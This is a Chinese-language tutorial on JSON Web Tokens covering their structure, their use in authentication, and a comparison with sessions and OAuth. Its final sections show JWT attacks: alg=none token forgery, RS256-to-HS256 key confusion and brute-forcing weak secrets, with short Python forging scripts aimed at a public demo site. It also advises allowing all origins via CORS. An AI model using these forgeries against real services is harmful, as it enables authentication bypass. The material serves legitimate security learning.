1. JSON Web Token是什么

JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。

2. 什么时候你应该用JSON Web Tokens

下列场景中使用JSON Web Token是很有用的：

  • Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录，后续每个请求都将包含JWT，允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性，因为它的开销很小，并且可以轻松地跨域使用。
  • Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言，JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名，例如，用公钥/私钥对，你可以确定发送人就是它们所说的那个人。另外，由于签名是使用头和有效负载计算的，您还可以验证内容没有被篡改。

3. JSON Web Token的结构是什么样的

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JSON Web Token由三部分组成，它们之间用圆点(.)连接。这三部分分别是：

  • Header
  • Payload
  • Signature

因此，一个典型的JWT看起来是这个样子的：

xxxxx.yyyyy.zzzzz

接下来，具体看一下每一部分：

header典型的由两部分组成：token的类型（“JWT”）和算法名称（比如：HMAC SHA256或者RSA等等）。

例如：

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然后，用Base64对这个JSON编码就得到JWT的第一部分

Payload

JWT的第二部分是payload，它包含声明（要求）。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。

  • Registered claims : 这里有一组预定义的声明，它们不是强制的，但是推荐。比如：iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
  • Public claims : 可以随意定义。
  • Private claims : 用于在同意使用它们的各方之间共享信息，并且不是注册的或公开的声明。

下面是一个例子：

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对payload进行Base64编码就得到JWT的第二部分

注意，不要在JWT的payload或header中放置敏感信息，除非它们是加密的。

Signature

为了得到签名部分，你必须有编码过的header、编码过的payload、一个秘钥，签名算法是header中指定的那个，然对它们签名即可。

例如：

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改，并且，对于使用私钥签名的token，它还可以验证JWT的发送方是否为它所称的发送方。

看一张官网的图就明白了：

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4. JSON Web Tokens是如何工作的

在认证的时候，当用户用他们的凭证成功登录以后，一个JSON Web Token将会被返回。此后，token就是用户凭证了，你必须非常小心以防止出现安全问题。一般而言，你保存令牌的时候不应该超过你所需要它的时间。

无论何时用户想要访问受保护的路由或者资源的时候，用户代理（通常是浏览器）都应该带上JWT，典型的，通常放在Authorization header中，用Bearer schema。

header应该看起来是这样的：

Authorization: Bearer <token>

服务器上的受保护的路由将会检查Authorization header中的JWT是否有效，如果有效，则用户可以访问受保护的资源。如果JWT包含足够多的必需的数据，那么就可以减少对某些操作的数据库查询的需要，尽管可能并不总是如此。

如果token是在授权头（Authorization header）中发送的，那么跨源资源共享(CORS)将不会成为问题，因为它不使用cookie。

下面这张图显示了如何获取JWT以及使用它来访问APIs或者资源：

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  1. 应用（或者客户端）想授权服务器请求授权。例如，如果用授权码流程的话，就是/oauth/authorize
  2. 当授权被许可以后，授权服务器返回一个access token给应用
  3. 应用使用access token访问受保护的资源（比如：API）

5. 基于Token的身份认证 与 基于服务器的身份认证

5.1. 基于服务器的身份认证

在讨论基于Token的身份认证是如何工作的以及它的好处之前，我们先来看一下以前我们是怎么做的：

HTTP协议是无状态的，也就是说，如果我们已经认证了一个用户，那么他下一次请求的时候，服务器不知道我是谁，我们必须再次认证

传统的做法是将已经认证过的用户信息存储在服务器上，比如Session。用户下次请求的时候带着Session ID，然后服务器以此检查用户是否认证过。

这种基于服务器的身份认证方式存在一些问题：

  • Sessions : 每次用户认证通过以后，服务器需要创建一条记录保存用户信息，通常是在内存中，随着认证通过的用户越来越多，服务器的在这里的开销就会越来越大。
  • Scalability : 由于Session是在内存中的，这就带来一些扩展性的问题。
  • CORS : 当我们想要扩展我们的应用，让我们的数据被多个移动设备使用时，我们必须考虑跨资源共享问题。当使用AJAX调用从另一个域名下获取资源时，我们可能会遇到禁止请求的问题。
  • CSRF : 用户很容易受到CSRF攻击。

5.2. JWT与Session的差异

相同点是，它们都是存储用户信息；然而，Session是在服务器端的，而JWT是在客户端的。

Session方式存储用户信息的最大问题在于要占用大量服务器内存，增加服务器的开销。

而JWT方式将用户状态分散到了客户端中，可以明显减轻服务端的内存压力。

Session的状态是存储在服务器端，客户端只有session id；而Token的状态是存储在客户端。

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5.3. 基于Token的身份认证是如何工作的

基于Token的身份认证是无状态的，服务器或者Session中不会存储任何用户信息。

没有会话信息意味着应用程序可以根据需要扩展和添加更多的机器，而不必担心用户登录的位置。

虽然这一实现可能会有所不同，但其主要流程如下：

  1. 用户携带用户名和密码请求访问
  2. 服务器校验用户凭据
  3. 应用提供一个token给客户端
  4. 客户端存储token，并且在随后的每一次请求中都带着它
  5. 服务器校验token并返回数据

注意：

  1. 每一次请求都需要token
  2. Token应该放在请求header中
  3. 我们还需要将服务器设置为接受来自所有域的请求，用Access-Control-Allow-Origin: *

5.4. 用Token的好处

  • 无状态和可扩展性：Tokens存储在客户端。完全无状态，可扩展。我们的负载均衡器可以将用户传递到任意服务器，因为在任何地方都没有状态或会话信息。
  • 安全：Token不是Cookie。（The token, not a cookie.）每次请求的时候Token都会被发送。而且，由于没有Cookie被发送，还有助于防止CSRF攻击。即使在你的实现中将token存储到客户端的Cookie中，这个Cookie也只是一种存储机制，而非身份认证机制。没有基于会话的信息可以操作，因为我们没有会话!

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还有一点，token在一段时间以后会过期，这个时候用户需要重新登录。这有助于我们保持安全。还有一个概念叫token撤销，它允许我们根据相同的授权许可使特定的token甚至一组token无效。

5.5. JWT与OAuth的区别

  1. OAuth2是一种授权框架 ，JWT是一种认证协议
  2. 无论使用哪种方式切记用HTTPS来保证数据的安全性
  3. OAuth2用在使用第三方账号登录的情况(比如使用weibo, qq, github登录某个app)，而JWT是用在前后端分离, 需要简单的对后台API进行保护时使用。

5.6. 关于OAuth可以参考下面几篇

《OAuth 2.0》

《Spring Security OAuth 2.0》

《OAuth 2.0 授权码请求》

6. 参考

https://jwt.io/

https://scotch.io/tutorials/the-ins-and-outs-of-token-based-authentication#toc-why-tokens-came-around

https://tools.ietf.org/html/rfc7519#section-3

http://blog.leapoahead.com/2015/09/06/understanding-jwt/

https://cnodejs.org/topic/557844a8e3cc2f192486a8ff

http://blog.leapoahead.com/2015/09/07/user-authentication-with-jwt/

https://www.cnblogs.com/cjsblog/p/9277677.html

https://www.freebuf.com/column/207216.html

7. JWT安全问题

https://zhuanlan.zhihu.com/p/97017467

1.敏感信息泄露

很明显的一点，因为payload是明文传输的，所以如果payload中存在敏感信息就会出现信息泄露

2.修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法，即没有签名算法，当alg为none时后端不会进行签名校验

将alg修改为none后，去掉JWT中的signature数据（仅剩header + ‘.’ + payload + ‘.’）然后提交到服务端即可

这种攻击的例子可以参考：http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下

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import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下

image-20200501044908462

3.修改算法RS256为HS256（非对称密码算法 => 对称密码算法）

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥，因此，攻击者可以将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。

这样的话，后端代码使用RSA公钥+HS256算法进行签名验证。

同样地，我们也可以使用示例来了解这种攻击方法，具体请访问http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公钥：http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem。

相关的代码如下所示：

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import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

结果如下所示（验证通过）：

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4.破解HS256（对称加密算法）密钥

如果HS256密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥，例如将密钥字符串用作PyJWT库示例代码中的密钥的时候情况就是如此。

然后，用蛮力方式对密钥进行猜解，具体方法很简单：如果密钥正确的话，解密就会成功；如果密钥错误的话，解密代码就会抛出异常。

此外，我们也可以使用PyJWT或John Ripper进行破解测试。

8. CTF中的JWT

CISCN2019 华北赛区 iknu

JWT破解工具

https://github.com/brendan-rius/c-jwt-cracker

JWT生成网站

https://jwt.io/

9.生成JWT

pip安装PyJWT模块来生成jwt

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>>> import jwt
>>> jwt.encode({'username': 'admin'}, '1Kun', algorithm='HS256')
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.dD2hbntzt9yS-uufk1yalEMjkvv4fo5jeP9XMeJm_f0'